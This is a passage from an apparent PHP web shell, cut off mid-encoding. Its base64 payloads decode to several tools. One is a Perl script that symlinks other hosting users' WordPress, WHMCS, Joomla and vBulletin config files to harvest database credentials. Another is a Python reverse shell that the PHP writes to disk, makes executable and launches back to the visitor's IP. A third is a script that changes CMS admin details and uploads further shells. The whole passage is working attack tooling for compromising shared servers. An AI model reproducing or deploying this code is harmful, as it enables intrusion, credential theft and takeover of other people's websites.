aygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLicyLnR4dCcp
Ow0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2Nv
bmZpZy5waHAnLCRrb2xhLictZm9ydW0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicv
cHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLic1LnR4dCcpOw0Kc3ltbGluaygnL2hv
bWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLic0LnR4dCcp
Ow0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRr
b2xhLictd3AxMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9i
bG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtYmxvZy50eHQnKTsNCnN5bWxpbmsoJy9ob21l
LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLic2LnR4dCcpOw0K
c3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29s
YS4nNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0
LnBocCcsJGtvbGEuJzgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0
bWwvbWtfY29uZi5waHAnLCRrb2xhLic5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4n
L3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJzEyLnR4dCcpOw0Kc3ltbGlu
aygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcs
JGtvbGEuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0
bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy12Yi50eHQnKTsNCnN5bWxpbmsoJy9o
b21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWlu
Y2x1ZGVzLXZiLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3do
bS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0xNS50eHQnKTsNCnN5bWxpbmsoJy9ob21l
LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdo
bWMxNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9j
b25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycu
JHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1
cHBvcnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmln
dXJhdGlvbi5waHAnLCRrb2xhLicxd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2Vy
LicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJy13aG1jczIudHh0Jyk7DQpz
eW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9u
LnBocCcsJGtvbGEuJy1jbGllbnRzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1
YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0Jyk7
DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJh
dGlvbi5waHAnLCRrb2xhLictY2xpZW50cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIu
Jy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmcu
dHh0Jyk7IA0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25m
aWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycu
JHVzZXIuJy9wdWJsaWNfaHRtbC9teS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5n
LnR4dCcpOyANCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teXNob3AvY29u
ZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsgDQp9DQppZiAoJEVOVnsnUkVR
VUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsn
Q09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RS
SU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAo
QHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFt
ZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFj
aygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMv
JShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JN
eyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8
Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4NCjxwPkN5YjNyLWR6IENv
bmZpZyBGdWNrIFNjcmlwdDwvcD4NCjxwPjxmb250IGNvbG9yPSIjQzBDMEMwIj5bPC9mb250PiBD
b2RlZCBCeSBDeWIzci1EWiA8Zm9udCBjb2xvcj0iI0MwQzBDMCI+fDwvZm9udD4gDQreYSBATy4g
ZskcZS8g3mE8c3BhbiBpZD0icmVzdWx0X2JveCIgY2xhc3M9InNob3J0X3RleHQiIGxhbmc9ImVu
Ij48c3BhbiBzdHlsZSB0aXRsZT4NCjxmb250IGNvbG9yPSIjQzBDMEMwIj58PC9mb250Pjwvc3Bh
bj48L3NwYW4+IDxhIGhyZWY9Imh0dHA6Ly93d3cud3d3LnNlYzRldmVyLmNvbSI+DQo8c3BhbiBz
dHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+d3d3LnNl
YzRldmVyLmNvbTwvZm9udD48L3NwYW4+PC9hPiANCjxmb250IGNvbG9yPSIjQzBDMEMwIj5dPC9m
b250PjwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5
bGU9ImJvcmRlcjoxcHggZG90dGVkICMwMEZGRkY7IHdpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MjBw
eDsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6
ZTo4cHQ7IGNvbG9yOiMwMEZGRkYiICA+PC90ZXh0YXJlYT48YnIgLz4NCiZuYnNwOzxwPg0KPGlu
cHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9ImJvcmRlcjoxcHggZG90dGVkICMwMEZG
RkY7IHdpZHRoOiAyMTJweDsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDOyBmb250LWZhbWlseTpU
YWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiMwMEZGRkY7ICIgIC8+PGJyIC8+DQombmJzcDs8
L3A+DQo8cD4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQg
Q29uZmlnIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDk5OyBmb250
LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojMDBGRkZGOyB0ZXh0LXRyYW5z
Zm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDIiAvPjwv
cD4NCjwvZm9ybT4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5l
czsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIu
JEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxp
bmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4i
LnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIu
dHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0i
IzAwMDAwMCI+DQo8cD5Eb25lICEhPC9wPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9
IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3Nl
KElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0u
Jy50YXIiPjxmb250IGNvbG9yPSIjMDBGRjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRp
b246IG5vbmUiPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgVGFyIEZpbGU8L3NwYW4+PC9mb250Pjwv
YT48L3A+JzsNCn0NCn0NCiBwcmludCINCjwvYm9keT4NCjwvaHRtbD4iOw==';

$file = fopen("config.izo" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
    chmod("config.izo",0755);
   echo "<iframe src=configler/config.izo width=100% height=100% frameborder=0></iframe> ";
break;
case "PHP_17":

$bizci = 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgojICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMg
IyAjICMgIyAjICMgIyAjICMgIyAjICMKIyAgIGQwMHIucHkgMC4zYSAocmV2ZXJzZXxiaW5kKS1z
aGVsbCBpbiBweXRob24gYnkgZlEJIwojCQkJCQkJCSMKIwlhbHBoYQkJCQkJCSMKIwkJCQkJCQkj
CiMJCQkJCQkJIwojIHVzYWdlOiAJCQkJCQkjCiMgCSUgLi9kMDByIC1iIHBhc3N3b3JkIHBvcnQJ
CQkjCiMJJSAuL2QwMHIgLXIgcGFzc3dvcmQgcG9ydCBob3N0CQkJIwojCSUgbmMgaG9zdCBwb3J0
CQkJCQkjCiMJJSBuYyAtbCAtcCBwb3J0IChwbGVhc2UgdXNlIG5ldGNhdCkJCSMKIyAjICMgIyAj
ICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIwkjCgoKaW1wb3J0
IG9zLCBzeXMsIHNvY2tldCwgdGltZQoKCiMgPT09PT09PT09PT09PT09PT09PSB2YXIgPT09PT09
PQpNQVhfTEVOPTEwMjQKU0hFTEw9Ii9iaW4venNoIC1jIgpUSU1FX09VVD0zMDAgI3MKUFc9IiIK
UE9SVD0iIgpIT1NUPSIiCgoKIyA9PT09PT09PT09PT09PT09PT09IGZ1bmN0ID09PT09CiMgc2hl
bGwgLSBleGVjIGNvbW1hbmQsIHJldHVybiBzdGRvdXQsIHN0ZGVycjsgaW1wcm92YWJsZQpkZWYg
c2hlbGwoY21kKToKCXNoX291dD1vcy5wb3BlbihTSEVMTCsiICIrY21kKS5yZWFkbGluZXMoKQoJ
bnNoX291dD0iIgoJZm9yIGkgaW4gcmFuZ2UobGVuKHNoX291dCkpOgkKCQluc2hfb3V0Kz1zaF9v
dXRbaV0KCXJldHVybiBuc2hfb3V0CQoKIyBhY3Rpb24/CmRlZiBhY3Rpb24oY29ubik6Cgljb25u
LnNlbmQoIlxuUGFzcz9cbiIpCgl0cnk6IHB3X2luPWNvbm4ucmVjdihsZW4oUFcpKQoJZXhjZXB0
OiBwcmludCAidGltZW91dCIKCWVsc2U6CQoJCWlmIHB3X2luID09IFBXOgkKCQkJY29ubi5zZW5k
KCJqMDAgYXJlIG9uIGFpciFcbiIpCQkJCQkJCgkJCXdoaWxlIFRydWU6ICAgICAgICAgICAgICAg
CQkKCQkJCWNvbm4uc2VuZCgiPj4+ICIpCgkJCQl0cnk6CgkJCQkJcGNtZD1jb25uLnJlY3YoTUFY
X0xFTikKCQkJCWV4Y2VwdDoKCQkJCQlwcmludCAidGltZW91dCIKCQkJCQlyZXR1cm4gVHJ1ZQkJ
CQkJCgkJCQllbHNlOgoJCQkJCSNwcmludCAicGNtZDoiLHBjbWQKCQkJCQljbWQ9IiIjcGNtZAoJ
CQkJCWZvciBpIGluIHJhbmdlKGxlbihwY21kKS0xKToKCQkJCQkJY21kKz1wY21kW2ldCgkJCSAg
ICAgICAgICAgICAgICBpZiBjbWQ9PSI6ZGMiOgoJCQkJCQlyZXR1cm4gVHJ1ZQoJCQkJCWVsaWYg
Y21kPT0iOnNkIjoKCQkJCQkJcmV0dXJuIEZhbHNlCgkJCQkJZWxzZToKCQkJCQkJaWYgbGVuKGNt
ZCk+MDoKCQkJCQkJCW91dD1zaGVsbChjbWQpCgkJCQkJCQljb25uLnNlbmQob3V0KQoKCiMgPT09
PT09PT09PT09PT09PT09PSBtYWluID09PT09PQphcmd2PXN5cy5hcmd2CgppZiBsZW4oYXJndik8
NDogCglwcmludCAiZXJyb3I7IGhlbHA6IGhlYWQgLW4gMTYgZDAwci5weSIKCXN5cy5leGl0KDEp
CmVsaWYgYXJndlsxXT09Ii1iIjogCglQVz1hcmd2WzJdCglQT1JUPWFyZ3ZbM10KZWxpZiBhcmd2
WzFdPT0iLXIiIGFuZCBsZW4oYXJndik+NDoKCVBXPWFyZ3ZbMl0KCVBPUlQ9YXJndlszXQoJSE9T
VD1hcmd2WzRdCmVsc2U6IGV4aXQoMSkKClBPUlQ9aW50KFBPUlQpCnByaW50ICJQVzoiLFBXLCJQ
T1JUOiIsUE9SVCwiSE9TVDoiLEhPU1QKCQojc3lzLmFyZ3ZbMF09ImQwMHIiCgojIGV4aXQgZmF0
aGVyIHByb2MKaWYgb3MuZm9yaygpIT0wOiAKCXN5cy5leGl0KDApCgojIGFzc29jaWF0ZSB0aGUg
c29ja2V0CnNvY2s9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RS
RUFNKQpzb2NrLnNldHRpbWVvdXQoVElNRV9PVVQpCgppZiBhcmd2WzFdPT0iLWIiOgoJc29jay5i
aW5kKCgnbG9jYWxob3N0JywgUE9SVCkpCglzb2NrLmxpc3RlbigwKQoKcnVuPVRydWUKd2hpbGUg
cnVuOgoKCWlmIGFyZ3ZbMV09PSItciI6CgkJdHJ5OiBzb2NrLmNvbm5lY3QoIChIT1NULCBQT1JU
KSApCgkJZXhjZXB0OiAKCQkJcHJpbnQgImhvc3QgdW5yZWFjaGFibGUiCgkJCXRpbWUuc2xlZXAo
NSkKCQllbHNlOiBydW49YWN0aW9uKHNvY2spCgllbHNlOgkJCgkJdHJ5OgkoY29ubixhZGRyKT1z
b2NrLmFjY2VwdCgpCgkJZXhjZXB0OiAKCQkJcHJpbnQgInRpbWVvdXQiCgkJCXRpbWUuc2xlZXAo
MSkKCQllbHNlOiBydW49YWN0aW9uKGNvbm4pCQkJCgkKCSMgc2h1dGRvd24gdGhlIHNva2NldAoJ
aWYgYXJndlsxXT09Ii1iIjogY29ubi5zaHV0ZG93bigyKQoJZWxzZToKCQl0cnk6IHNvY2suc2Vu
ZCgiIikKCQlleGNlcHQ6IHRpbWUuc2xlZXAoMSkKCQllbHNlOiBzb2NrLnNodXRkb3duKDIp';

$file = fopen("priv9" ,"w+");
$write = fwrite ($file ,base64_decode($bizci));
fclose($file);
if ($write) {
echo "The File Was Created Successfuly";
}
else {echo"\"error\"";}
chmod("priv9" , 0777);
$fips=$_SERVER["REMOTE_ADDR"];
$bports="22";
system("./priv9 -r izo $bports $fips");
break;
case "PHP_18":


$izo = 'PHAgYWxpZ249InJpZ2h0Ij48L3A+PGJvZHkgYmdjb2xvcj0iI0ZGRkZGRiI+DQo8Pw0KDQovL0JlZ2luaW5nIG9mIENvZGluZw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KICAgICRpbmZvID0gJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddOw0KICAgICRzaXRlID0gZ2V0ZW52KCJIVFRQX0hPU1QiKTsNCiAgICAkcGFnZSA9ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOw0KICAgICRzbmFtZSA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOw0KICAgICR1bmFtZSA9IHBocF91bmFtZSgpOw0KICAgICRzbW9kID0gaW5pX2dldCgnc2FmZV9tb2RlJyk7DQogICAgJGRpc2Z1bmMgPSBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KICAgICR5b3VyaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsNCiAgICAkc2VydmVyaXAgPSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXTsNCiAgICAkdmVyc2lvbiA9IHBocHZlcnNpb24oKTsNCiAgICAkY2NjID0gcmVhbHBhdGgoJF9HRVRbJ2NoZGlyJ10pLiIvIjsNCg0KLy9QSFBpbmZvDQppZihpc3NldCgkX1BPU1RbJ3BocGluZm8nXSkpDQp7DQoJZGllKHBocGluZm8oKSk7DQp9DQoNCi8vU2FmZW1vZGUNCmlmKGluaV9nZXQoJHNtb2QpKQ0Kew0KICAgICRjX2ggPSAiPGZvbnQgY29sb3I9cmVkIGZhY2U9J1ZlcmRhbmEnIHNpemU9JzEnPk9OPC9mb250PiI7DQp9DQplbHNlDQp7DQogICAgJGNfaCA9ICI8Zm9udCBmYWNlPSdWZXJkYW5hJyBzaXplPScxJyBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+IjsNCn0NCg0KLy9EaXNhYmxlIEZ1bmN0aW9ucw0KaWYgKCcnPT0oJGRpc2Z1bmMpKQ0Kew0KICAgICRkaXMgPSAiPGZvbnQgY29sb3I9Z3JlZW4+Tm9uZTwvZm9udD4iOw0KfQ0KZWxzZQ0Kew0KICAgICRkaXMgPSAiPGZvbnQgY29sb3I9cmVkPiRkaXNmdW5jPC9mb250PiI7DQp9DQoNCi8vRGlyDQppZihpc3NldCgkX0dFVFsnZGlyJ10pICYmIGlzX2RpcigkX0dFVFsnZGlyJ10pKQ0Kew0KIGNoZGlyKCRfR0VUWydkaXInXSk7DQp9DQoNCiRjY2MgPSByZWFscGF0aCgkX0dFVFsnY2hkaXInXSkuIi8iOw0KDQovL1RpdGxlDQplY2hvICI8aGVhZD4NCjxzdHlsZT4NCmJvZHkgeyBmb250LXNpemU6IDEycHg7DQogICAgICAgICAgIGZvbnQtZmFtaWx5OiBhcmlhbCwgaGVsdmV0aWNhOw0KICAgICAgICAgICAgc2Nyb2xsYmFyLXdpZHRoOiA1Ow0KICAgICAgICAgICAgc2Nyb2xsYmFyLWhlaWdodDogNTsNCiAgICAgICAgICAgIHNjcm9sbGJhci1mYWNlLWNvbG9yOiBibGFjazsNCiAgICAgICAgICAgIHNjcm9sbGJhci1zaGFkb3ctY29sb3I6IHNpbHZlcjsNCiAgICAgICAgICAgIHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6IHNpbHZlcjsNCiAgICAgICAgICAgIHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOnNpbHZlcjsNCiAgICAgICAgICAgIHNjcm9sbGJhci1kYXJrc2hhZG93LWNvbG9yOiBzaWx2ZXI7DQogICAgICAgICAgICBzY3JvbGxiYXItdHJhY2stY29sb3I6IGJsYWNrOw0KICAgICAgICAgICAgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiBzaWx2ZXI7DQogICAgfQ0KPC9zdHlsZT4NCjx0aXRsZT5jaGFuZ2UucGhwIC0gWyRzaXRlXTwvdGl0bGU+PC9oZWFkPiI7DQoNCi8vTWFpbiB0YWJsZQ0KZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJyB3aWR0aD0nNDAlJyBpZD0ndGFibGUxJyBib3JkZXI9JzEnIGNlbGxQYWRkaW5nPTUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBib3JkZXJjb2xvcmxpZ2h0PScjQzBDMEMwJz4NCgk8dHI+DQoJCTx0ZD48Zm9udCBjb2xvcj0nI0ZGMDAwMCc+DQoJCSAgPGNlbnRlcj48L2ZvbnQ+PGZvbnQgc2l6ZT0nNCc+PGZvbnQgY29sb3I9JyNGRjAwMDAnPg0KCQkgIDwvZm9udD48Yj48Zm9udCBjb2xvcj0nI0ZGMDAwMCc+DQoJCSAgQ0hBTkdFIElORk8gU0NSSVBUUyBWMS4wPC9mb250Pjxmb250IGNvbG9yPScjMDAwMDAwJz48YnI+PC9mb250Pg0KCQkJPGZvbnQgY29sb3I9JyMwMDAwRkYnPg0KCQkgIENPREVEIEJZIERSLkhhQ0tvMG9SPC9iPjwvdHI+DQoJPHRyPg0KCQk8dGQgIHN0eWxlPSdib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzJz4NCgkJPGNlbnRlcj48Zm9udCBmYWNlPSdWZXJkYW5hJyBzaXplPScxJyBjb2xvcj0nIzAwMDAwMCc+U2l0ZTogPHU+JHNpdGU8L3U+PGJyPlNlcnZlciBuYW1lOiA8dT4kc25hbWU8L3U+PGJyPlNvZnR3YXJlOiA8dT4kaW5mbzwvdT48YnI+VmVyc2lvbiA6IDx1PiR2ZXJzaW9uPC91Pjxicj5VbmFtZSAtYTogPHU+JHVuYW1lPC91Pjxicj5QYXRoOiA8dT4kY2NjPC91Pjxicj5TYWZlbW9kZTogPHU+JGNfaDwvdT48YnI+RGlzYWJsZSBGdW5jdGlvbnM6IDx1PiRkaXM8L3U+PGJyPlBhZ2U6IDx1PiRwYWdlPC91Pjxicj5Zb3VyIElQOiA8dT4keW91cmlwPC91Pjxicj5TZXJ2ZXIgSVA6IDx1PjxhIHRhcmdldD1fYmxhbmsgaHJlZj0naHR0cDovL3dob2lzLmRvbWFpbnRvb2xzLmNvbS8iLiRzZXJ2ZXJpcC4iJz4kc2VydmVyaXA8L2E+PC91PjwvZm9udD48L3RkPg0KCTwvdHI+DQo8L3RhYmxlPjwvY2VudGVyPiI7DQplY2hvICc8YnI+PGNlbnRlcj48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4NCgk8Zm9udCBjb2xvcj0iIzAwMDBGRiI+PGI+VXBsb2FkIFVyIFNoZWxsIE9yIFVyIE1haWxlciA7KTwvYj48L2ZvbnQ+PGJyPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nOw0KDQovL0J1dHRvbiBMaXN0DQplY2hvICI8Y2VudGVyPjxmb3JtIG1ldGhvZD1QT1NUIGFjdGlvbicnPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXZidWxsZXRpbiB2YWx1ZT0ndkJ1bGxldGluJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1teWJiIHZhbHVlPSdNeUJCJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1waHBiYiB2YWx1ZT0ncGhwQkInPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNtZiB2YWx1ZT0nU01GJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT13aG1jcyB2YWx1ZT0nV0hNQ1MnPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXdvcmRwcmVzcyB2YWx1ZT0nV29yZFByZXNzJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1qb29tbGEgdmFsdWU9J0pvb21sYSc+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9cGhwLW51a2UgdmFsdWU9J1BIUC1OVUtFJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT11cCB2YWx1ZT0nVHJhaWRudCBVUCc+PC9mb3JtPjwvY2VudGVyPiI7DQoNCi8vVXBsb2FkDQppZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7DQoJaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPHAgYWxpZ249ImNlbnRlciI+PGI+VXBsb2FkIFN1Y2Nlc3NmdWxseSA6KTwvYj48YnI+PGJyPjwvcD4nOyB9DQoJZWxzZSB7IGVjaG8gJzxwIGFsaWduPSJjZW50ZXIiPjxiPlNvcnJ5IFlvdSBDYW50IDooPC9iPjxicj48YnI+PC9wPic7IH0NCn0NCg0KLy92QnVsbGV0aW4NCmlmIChpc3NldCgkX1BPU1RbJ3ZidWxsZXRpbiddKSkNCnsNCmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz4NCjx0cj48dGQ+DQo8Y2VudGVyPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHZCdWxsZXRpbiBJbmZvPGJyPlBhdGNoIENvbnRyb2wgUGFuZWwgOiBbcGF0Y2hdL2FkbWluY3A8YnI+UGF0aCBDb25maWcgOiBbcGF0Y2hdL2luY2x1ZGVzL2NvbmZpZy5waHA8YnI+aW5jbHVkZXMvaW5pdC5waHAgPC9mb250Pg0KPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjRkYwMDAwJz4+PjwvZm9udD48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPiBpbmNsdWRlcy9jbGFzc19jb3JlLnBocCA8L2ZvbnQ+DQo8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyNGRjAwMDAnPj4+PC9mb250Pjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+IGluY2x1ZGVzL2NvbmZpZy5waHA8L2ZvbnQ+PC9jZW50ZXI+DQogICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5NeXNxbCBIb3N0PC9mb250Pjxicj48aW5wdXQgdmFsdWU9bG9jYWxob3N0IHR5cGU9dGV4dCBuYW1lPWRiaHZiIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBuYW1lPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9Zm9ydW1zIHR5cGU9dGV4dCBuYW1lPWRibnZiIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiB1c2VyPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9cm9vdCB0eXBlPXRleHQgbmFtZT1kYnV2YiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2N